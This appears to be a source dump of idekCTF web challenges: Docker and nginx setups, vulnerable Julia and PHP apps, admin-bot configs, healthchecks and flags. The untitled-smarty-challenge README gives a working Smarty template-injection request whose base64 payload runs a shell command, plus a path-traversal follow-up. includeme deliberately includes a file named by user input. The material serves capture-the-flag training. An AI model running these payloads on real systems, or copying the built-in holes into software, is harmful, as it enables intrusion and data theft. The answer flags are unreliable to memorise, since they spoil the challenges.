| -------------------------------------------------------------------------------- /web/idek-hello/challenge/init.sh: -------------------------------------------------------------------------------- 1 | mkdir -p /var/log/nginx && service php8.2-fpm start && nginx -g "daemon off;" -------------------------------------------------------------------------------- /web/idek-hello/challenge/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | worker_processes 1; 3 | 4 | events { 5 | worker_connections 1024; 6 | } 7 | 8 | http { 9 | include /etc/nginx/mime.types; 10 | default_type application/octet-stream; 11 | 12 | sendfile on; 13 | keepalive_timeout 65; 14 | 15 | server { 16 | listen 1337; 17 | server_name localhost; 18 | 19 | location / { 20 | root /usr/share/nginx/html; 21 | index index.php index.html index.htm; 22 | } 23 | 24 | location = /info.php { 25 | allow 127.0.0.1; 26 | deny all; 27 | } 28 | 29 | location ~ \.php$ { 30 | root /usr/share/nginx/html; 31 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 32 | include fastcgi_params; 33 | fastcgi_pass unix:/var/run/php/php8.2-fpm.sock; 34 | } 35 | 36 | } 37 | } 38 | 39 | -------------------------------------------------------------------------------- /web/idek-hello/challenge/src/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/idek-hello/challenge/src/info.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/idek-hello/debug/solve.html: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /web/idek-hello/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /web/idek-hello/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /web/idek-hello/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | 4 | r = requests.get('http://localhost:1337') 5 | assert r.status_code == 200 6 | 7 | r = requests.get('http://localhost:1337/?name=aaa') 8 | assert b'aaa' in r.content 9 | 10 | r = requests.get('http://localhost:1337/info.php') 11 | assert r.status_code == 404 12 | 13 | r = requests.get('http://localhost:1337/info.php/a.php') 14 | assert r.status_code == 200 15 | 16 | exit(0) -------------------------------------------------------------------------------- /web/idek-hello/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /web/idek-hello/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Hello 2 | author: Abdelhameed Ghazy 3 | public: true 4 | flag: idek{Ghazy_N3gm_Elbalad} 5 | description: |- 6 | Just to warm you up for the next Fight :"D 7 | 8 | Note: the admin bot is not on the same machine as the challenge itself and the *.chal.idek.team:1337 URL should be used for the admin bot URL 9 | admin_bot: true 10 | http: true -------------------------------------------------------------------------------- /web/includeme/README.md: -------------------------------------------------------------------------------- 1 | # includeme 2 | **Category:** Web 3 | **Difficulty:** Medium 4 | **Author:** downgrade 5 | 6 | ## Description 7 | 8 | another minimalist, frontend-less, challenge because i'm bad at writing server-side challenges 9 | 10 | ## Distribution 11 | 12 | the attachments dir :3 13 | 14 | ## Deployment 15 | 16 | !! needs to be instanced with klodd !! 17 | -------------------------------------------------------------------------------- /web/includeme/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM julia:latest 2 | 3 | RUN useradd -m ctf 4 | 5 | WORKDIR /app 6 | 7 | RUN chown ctf /app 8 | 9 | USER ctf 10 | 11 | COPY . . 12 | 13 | RUN julia -e 'using Pkg; Pkg.add("Genie")' 14 | 15 | ENTRYPOINT ["julia", "app.jl"] 16 | -------------------------------------------------------------------------------- /web/includeme/attachments/app.jl: -------------------------------------------------------------------------------- 1 | using Genie, Genie.Requests, Pkg 2 | 3 | Pkg.activate(".") 4 | 5 | index() = include(params(:page, "example.jl")) 6 | 7 | route("/", index) 8 | 9 | up(1337, "0.0.0.0", async = false) 10 | -------------------------------------------------------------------------------- /web/includeme/attachments/example.jl: -------------------------------------------------------------------------------- 1 | "hello world!" 2 | -------------------------------------------------------------------------------- /web/includeme/attachments/flag.txt: -------------------------------------------------------------------------------- 1 | idek{redacted} 2 | -------------------------------------------------------------------------------- /web/includeme/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd challenge && docker build -t includeme . \ 4 | && docker tag includeme gcr.io/idekctf-374221/includeme \ 5 | && docker push gcr.io/idekctf-374221/includeme -------------------------------------------------------------------------------- /web/includeme/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM julia:latest 2 | 3 | RUN useradd -m ctf 4 | 5 | WORKDIR /app 6 | 7 | RUN chown ctf /app 8 | 9 | USER ctf 10 | 11 | COPY . . 12 | 13 | RUN julia -e 'using Pkg; Pkg.add("Genie")' 14 | 15 | ENTRYPOINT ["julia", "app.jl"] 16 | -------------------------------------------------------------------------------- /web/includeme/challenge/app.jl: -------------------------------------------------------------------------------- 1 | using Genie, Genie.Requests, Pkg 2 | 3 | Pkg.activate(".") 4 | 5 | index() = include(params(:page, "example.jl")) 6 | 7 | route("/", index) 8 | 9 | up(1337, "0.0.0.0", async = false) 10 | -------------------------------------------------------------------------------- /web/includeme/challenge/example.jl: -------------------------------------------------------------------------------- 1 | "hello world!" 2 | -------------------------------------------------------------------------------- /web/includeme/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{thank_you_genie_for_the_very_convenient_test_file_efde81} 2 | -------------------------------------------------------------------------------- /web/includeme/meta.yaml: -------------------------------------------------------------------------------- 1 | name: includeme 2 | author: downgrade 3 | public: true 4 | flag: idek{thank_you_genie_for_the_very_convenient_test_file_efde81} 5 | instancer: true 6 | description: | 7 | another minimalist, frontend-less, challenge because i'm bad at writing server-side challenges 8 | 9 | 10 | note: it takes ~5 minutes for an instance to start up, please test locally first :3 11 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/README.md: -------------------------------------------------------------------------------- 1 | # srcdoc-memos-revenge 2 | **Category:** Web 3 | **Difficulty:** Hard 4 | **Author:** icesfont 5 | 6 | ## Description 7 | 8 | **Hints (24hr mark):** 9 | 10 | hint 1: policy containers in chromium 11 | 12 | hint 2: what can you do with a srcdoc without csp, even if you don't have scripting? 13 | 14 | ## Distribution 15 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/attachments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | name: "srcdoc-memos-revenge" 3 | 4 | services: 5 | web: 6 | build: web 7 | ports: 8 | - "1337:1337" 9 | restart: always 10 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/attachments/web/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22-slim@sha256:ec92a9eaa01e8e098dc7da1c884a3d2a0f10c66b6dac6b1ca054cc5908442ab3 2 | 3 | WORKDIR /app 4 | 5 | RUN apt-get update \ 6 | && apt-get install -y wget gnupg \ 7 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | gpg --dearmor -o /usr/share/keyrings/googlechrome-linux-keyring.gpg \ 8 | && sh -c 'echo "deb [arch=amd64 signed-by=/usr/share/keyrings/googlechrome-linux-keyring.gpg] https://dl-ssl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 9 | && apt-get update \ 10 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-khmeros fonts-kacst fonts-freefont-ttf libxss1 dbus dbus-x11 \ 11 | --no-install-recommends \ 12 | && rm -rf /var/lib/apt/lists/* 13 | 14 | COPY src . 15 | RUN npm i 16 | 17 | EXPOSE 1337 18 | 19 | USER node 20 | 21 | CMD [ "node", "index.js" ] 22 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/attachments/web/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "srcdoc-memos-revenge", 3 | "version": "1.0.0", 4 | "description": "why", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "icesfont", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cookie": "^0.6.0", 13 | "puppeteer": "^23.1.0" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd challenge && docker build -t srcdoc-memos-revenge . \ 4 | && docker tag srcdoc-memos-revenge gcr.io/idekctf-374221/srcdoc-memos-revenge \ 5 | && docker push gcr.io/idekctf-374221/srcdoc-memos-revenge -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22-slim@sha256:ec92a9eaa01e8e098dc7da1c884a3d2a0f10c66b6dac6b1ca054cc5908442ab3 2 | 3 | RUN apt-get update \ 4 | && apt-get install -y wget gnupg \ 5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | gpg --dearmor -o /usr/share/keyrings/googlechrome-linux-keyring.gpg \ 6 | && sh -c 'echo "deb [arch=amd64 signed-by=/usr/share/keyrings/googlechrome-linux-keyring.gpg] https://dl-ssl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 7 | && apt-get update \ 8 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-khmeros fonts-kacst fonts-freefont-ttf libxss1 dbus dbus-x11 \ 9 | --no-install-recommends \ 10 | && rm -rf /var/lib/apt/lists/* 11 | 12 | WORKDIR /app 13 | 14 | COPY src . 15 | 16 | RUN npm i 17 | 18 | EXPOSE 1337 19 | 20 | USER node 21 | 22 | CMD [ "node", "index.js" ] 23 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/challenge/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "srcdoc-memos-revenge", 3 | "version": "1.0.0", 4 | "description": "why", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "icesfont", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cookie": "^0.6.0", 13 | "puppeteer": "^23.1.0" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /web/srcdoc-memos-revenge/meta.yaml: -------------------------------------------------------------------------------- 1 | name: srcdoc-memos-revenge 2 | author: icesfont 3 | public: true 4 | flag: idek{why._why,_7cfa90ee52} 5 | description: |- 6 | This is a revenge challenge for srcdoc-memos 7 | 8 | Note: Exploits should target to http://localhost:1337 9 | 10 | hint 1: policy containers in chromium 11 | 12 | hint 2: what can you do with a srcdoc without csp, even if you don't have scripting? 13 | instancer: true 14 | instancer_id: srcdoc-revenge -------------------------------------------------------------------------------- /web/srcdoc-memos/README.md: -------------------------------------------------------------------------------- 1 | # srcdoc-memos 2 | **Category:** Web 3 | **Difficulty:** Hard 4 | **Author:** icesfont 5 | 6 | ## Description 7 | 8 | Even the admin bot forgets things sometimes, which is why they wrote a memo and forgot about it. Can you jog their memory? 9 | 10 | NB: The admin bot on remote does *not* match the `bot.js` given in the old distribution exactly. 11 | 12 | In particular, the remote admin bot is running on an old version: `HeadlessChrome/107.0.5296.0`, whereas the intended solution works on latest. 13 | 14 | This means that there exist unintended solutions that abuse bugs in this older version of Chromium. 15 | 16 | A revenge challenge will be released later with the admin bot as part of the challenge itself (rather than relying on the redpwn bot) and with Chromium up-to-date. 17 | 18 | For now, the distribution has been updated to match remote in order to aid local testing; `http://localhost:3000/srcdoc-memos` provides the same (outdated) admin bot used on remote. 19 | 20 | ## Distribution 21 | -------------------------------------------------------------------------------- /web/srcdoc-memos/attachments/bot/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM pwn.red/admin-bot 2 | 3 | COPY config.js . 4 | 5 | ENTRYPOINT ["./node_modules/.bin/concurrently", "PORT=8080 ./node_modules/.bin/nodemon ./submit.js", "PORT=8081 ./node_modules/.bin/nodemon ./visit.js"] 6 | -------------------------------------------------------------------------------- /web/srcdoc-memos/attachments/bot/config.js: -------------------------------------------------------------------------------- 1 | const SITE = process.env.SITE || "http://web:1337"; 2 | 3 | const sleep = time => new Promise(resolve => setTimeout(resolve, time)) 4 | 5 | const challenges = new Map([ 6 | ['srcdoc-memos', { 7 | name: 'srcdoc memos', 8 | timeout: 30000, 9 | handler: async (url, ctx) => { 10 | const FLAG = "idek{REDACTED}"; 11 | 12 | let page = await ctx.newPage(); 13 | await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' }); 14 | await page.evaluate( 15 | FLAG => document.querySelector('textarea[name="memo"]').value = FLAG, 16 | FLAG 17 | ); 18 | await Promise.all([ 19 | page.waitForNavigation({ waitUntil: 'load' }), 20 | page.click('input[type="submit"]') 21 | ]); 22 | await page.close(); 23 | 24 | page = await ctx.newPage(); 25 | await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' }); 26 | await sleep(20000); 27 | } 28 | }] 29 | ]) 30 | 31 | module.exports = { 32 | challenges 33 | } 34 | -------------------------------------------------------------------------------- /web/srcdoc-memos/attachments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | name: "srcdoc-memos" 3 | 4 | services: 5 | web: 6 | build: web 7 | ports: 8 | - "1337:1337" 9 | restart: always 10 | 11 | bot: 12 | build: bot 13 | environment: 14 | SITE: http://web:1337 # this will point to the public instance on remote 15 | ports: 16 | - "3000:8080" 17 | 18 | -------------------------------------------------------------------------------- /web/srcdoc-memos/attachments/web/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22-slim@sha256:ec92a9eaa01e8e098dc7da1c884a3d2a0f10c66b6dac6b1ca054cc5908442ab3 2 | 3 | WORKDIR /app 4 | 5 | COPY src . 6 | RUN npm i 7 | 8 | EXPOSE 1337 9 | 10 | USER node 11 | 12 | CMD [ "node", "index.js" ] 13 | -------------------------------------------------------------------------------- /web/srcdoc-memos/attachments/web/src/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "srcdoc-memos", 3 | "version": "1.0.0", 4 | "lockfileVersion": 3, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "srcdoc-memos", 9 | "version": "1.0.0", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cookie": "^0.6.0" 13 | } 14 | }, 15 | "node_modules/cookie": { 16 | "version": "0.6.0", 17 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", 18 | "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==", 19 | "engines": { 20 | "node": ">= 0.6" 21 | } 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /web/srcdoc-memos/attachments/web/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "srcdoc-memos", 3 | "version": "1.0.0", 4 | "description": "lol", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "icesfont", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cookie": "^0.6.0" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /web/srcdoc-memos/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: srcdoc-memos 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/srcdoc-memos-healthcheck:c58ca4e99a29a9d5ba03411003d3d1b886d2ca3d5f3a84b0c3312de8c63d50d8 14 | image: us.gcr.io/idekctf-374221/srcdoc-memos-challenge:ec4e6fd013f51929c369ed2d4d57fa0e809210664849d8c2606b0d5ab1ad6928 15 | -------------------------------------------------------------------------------- /web/srcdoc-memos/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22-slim@sha256:ec92a9eaa01e8e098dc7da1c884a3d2a0f10c66b6dac6b1ca054cc5908442ab3 2 | 3 | WORKDIR /app 4 | 5 | COPY src . 6 | RUN npm i 7 | 8 | EXPOSE 1337 9 | 10 | USER node 11 | 12 | CMD [ "node", "index.js" ] 13 | -------------------------------------------------------------------------------- /web/srcdoc-memos/challenge/src/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "srcdoc-memos", 3 | "version": "1.0.0", 4 | "lockfileVersion": 3, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "srcdoc-memos", 9 | "version": "1.0.0", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cookie": "^0.6.0" 13 | } 14 | }, 15 | "node_modules/cookie": { 16 | "version": "0.6.0", 17 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", 18 | "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==", 19 | "engines": { 20 | "node": ">= 0.6" 21 | } 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /web/srcdoc-memos/challenge/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "srcdoc-memos", 3 | "version": "1.0.0", 4 | "description": "lol", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "icesfont", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cookie": "^0.6.0" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /web/srcdoc-memos/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /web/srcdoc-memos/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | 4 | # whereever the admin bot saves their memo to 5 | REMOTE = "http://localhost:1337" 6 | 7 | r = requests.get(REMOTE) 8 | if "srcdoc memos" in r.text: 9 | exit(0) 10 | exit(1) -------------------------------------------------------------------------------- /web/srcdoc-memos/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done -------------------------------------------------------------------------------- /web/srcdoc-memos/meta.yaml: -------------------------------------------------------------------------------- 1 | name: srcdoc-memos 2 | author: icesfont 3 | public: true 4 | flag: idek{shd_reallll_y_be_srcdoc_memo_not_memos_bc_u_can_only_store_one1_memo_but_shrug} 5 | description: |- 6 | Even the admin bot forgets things sometimes, which is why they wrote a memo and forgot about it. Can you jog their memory? 7 | 8 | NB: The admin bot on remote does *not* match the `bot.js` given in the old distribution exactly. 9 | 10 | In particular, the remote admin bot is running on an old version: `HeadlessChrome/107.0.5296.0`, whereas the intended solution works on latest. 11 | 12 | This means that there exist unintended solutions that abuse bugs in this older version of Chromium. 13 | 14 | A revenge challenge will be released later with the admin bot as part of the challenge itself (rather than relying on the redpwn bot) and with Chromium up-to-date. 15 | 16 | For now, the distribution has been updated to match remote in order to aid local testing; `http://localhost:3000/srcdoc-memos` provides the same (outdated) admin bot used on remote. 17 | 18 | admin_bot: true 19 | http: true -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/README.md: -------------------------------------------------------------------------------- 1 | # untitled-smarty-challenge 2 | **Category:** Web 3 | **Difficulty:** Medium 4 | **Author:** downgrade 5 | 6 | ## Description 7 | 8 | We're using Smarty 5, with open\_basedir, AND we don't pass user input directly into a template, *surely* this is secure. Oh wait... 9 | 10 | ## Distribution 11 | 12 | handout dir 13 | 14 | ## deployment notes 15 | 16 | !! rce challenge, must be instanced by klodd pls!! 17 | 18 | ## solution notes 19 | 20 | `GET /?page={include+file="eval:base64:e1N5bWZvbnlcQ29tcG9uZW50XFByb2Nlc3NcUHJvY2Vzczo6ZnJvbVNoZWxsQ29tbWFuZGxpbmUoImNhdCAvZmxhZyogPj4gaW5kZXgucGhwIiktPnJ1bigpfQ=="}/../home` 21 | `GET /?page=../templates_c/f5fb5be85efe77d883dab7b400f78b1997e42bc1_0.file_home.php` 22 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.2.12-cli-alpine 2 | 3 | COPY --from=composer:latest /usr/bin/composer /usr/local/bin/composer 4 | 5 | WORKDIR /app 6 | 7 | COPY ./index.php ./ 8 | ADD pages ./pages/ 9 | COPY ./flag.txt /flag.txt 10 | RUN mv /flag.txt /flag-$(head -c 6 /dev/urandom | xxd -p).txt 11 | 12 | RUN composer require smarty/smarty symfony/symfony 13 | 14 | COPY ./openbdir.ini /usr/local/etc/php/conf.d/openbdir.ini 15 | 16 | ENTRYPOINT ["php", "-S", "0.0.0.0:1337", "index.php"] 17 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/attachments/flag.txt: -------------------------------------------------------------------------------- 1 | idek{redacted} 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/attachments/index.php: -------------------------------------------------------------------------------- 1 | display($file_path); 10 | } else { 11 | header('Location: /?page=home'); 12 | }; 13 | ?> 14 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/attachments/openbdir.ini: -------------------------------------------------------------------------------- 1 | open_basedir = "/app" 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/attachments/pages/about: -------------------------------------------------------------------------------- 1 | Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Turpis cursus in hac habitasse platea. Elementum curabitur vitae nunc sed velit dignissim. Id cursus metus aliquam eleifend mi in nulla. Elit ut aliquam purus sit amet luctus venenatis. Purus faucibus ornare suspendisse sed nisi lacus sed viverra tellus. Mi tempus imperdiet nulla malesuada pellentesque elit eget. Id aliquet lectus proin nibh nisl condimentum id. Massa placerat duis ultricies lacus sed turpis. Ut eu sem integer vitae justo eget magna fermentum. Pharetra convallis posuere morbi leo. Nisi scelerisque eu ultrices vitae auctor eu. Enim sit amet venenatis urna cursus eget nunc scelerisque. Massa ultricies mi quis hendrerit dolor magna. Pharetra vel turpis nunc eget lorem dolor sed. Arcu risus quis varius quam quisque id. 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/attachments/pages/home: -------------------------------------------------------------------------------- 1 | Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Nullam ac tortor vitae purus faucibus ornare suspendisse sed. Eu tincidunt tortor aliquam nulla facilisi cras fermentum odio eu. Nulla aliquet porttitor lacus luctus accumsan. Ante in nibh mauris cursus mattis. Ullamcorper a lacus vestibulum sed arcu non odio euismod lacinia. Lectus proin nibh nisl condimentum id venenatis a condimentum. Fringilla est ullamcorper eget nulla facilisi. Volutpat ac tincidunt vitae semper quis lectus. Risus viverra adipiscing at in tellus. Commodo ullamcorper a lacus vestibulum sed arcu. Dictum at tempor commodo ullamcorper. Sit amet massa vitae tortor condimentum lacinia. Vitae ultricies leo integer malesuada nunc vel risus commodo viverra. Cras adipiscing enim eu turpis egestas. Vitae justo eget magna fermentum iaculis eu non. Orci a scelerisque purus semper eget duis at. Elit at imperdiet dui accumsan sit amet nulla facilisi morbi. Odio ut sem nulla pharetra. Scelerisque eleifend donec pretium vulputate. 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd challenge && docker build -t untitled-smarty-challenge . \ 4 | && docker tag untitled-smarty-challenge gcr.io/idekctf-374221/untitled-smarty-challenge \ 5 | && docker push gcr.io/idekctf-374221/untitled-smarty-challenge -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.2.12-cli-alpine 2 | 3 | COPY --from=composer:latest /usr/bin/composer /usr/local/bin/composer 4 | 5 | WORKDIR /app 6 | 7 | COPY ./index.php ./ 8 | ADD pages ./pages/ 9 | COPY ./flag.txt /flag.txt 10 | RUN mv /flag.txt /flag-$(head -c 6 /dev/urandom | xxd -p).txt 11 | 12 | RUN composer require smarty/smarty symfony/symfony 13 | 14 | COPY ./openbdir.ini /usr/local/etc/php/conf.d/openbdir.ini 15 | 16 | ENTRYPOINT ["php", "-S", "0.0.0.0:1337", "index.php"] 17 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{trixter_got_a_cve_while_playtesting_this_challenge_9268d0} 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/challenge/index.php: -------------------------------------------------------------------------------- 1 | display($file_path); 10 | } else { 11 | header('Location: /?page=home'); 12 | }; 13 | ?> 14 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/challenge/openbdir.ini: -------------------------------------------------------------------------------- 1 | open_basedir = "/app" 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/challenge/pages/about: -------------------------------------------------------------------------------- 1 | Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Turpis cursus in hac habitasse platea. Elementum curabitur vitae nunc sed velit dignissim. Id cursus metus aliquam eleifend mi in nulla. Elit ut aliquam purus sit amet luctus venenatis. Purus faucibus ornare suspendisse sed nisi lacus sed viverra tellus. Mi tempus imperdiet nulla malesuada pellentesque elit eget. Id aliquet lectus proin nibh nisl condimentum id. Massa placerat duis ultricies lacus sed turpis. Ut eu sem integer vitae justo eget magna fermentum. Pharetra convallis posuere morbi leo. Nisi scelerisque eu ultrices vitae auctor eu. Enim sit amet venenatis urna cursus eget nunc scelerisque. Massa ultricies mi quis hendrerit dolor magna. Pharetra vel turpis nunc eget lorem dolor sed. Arcu risus quis varius quam quisque id. 2 | 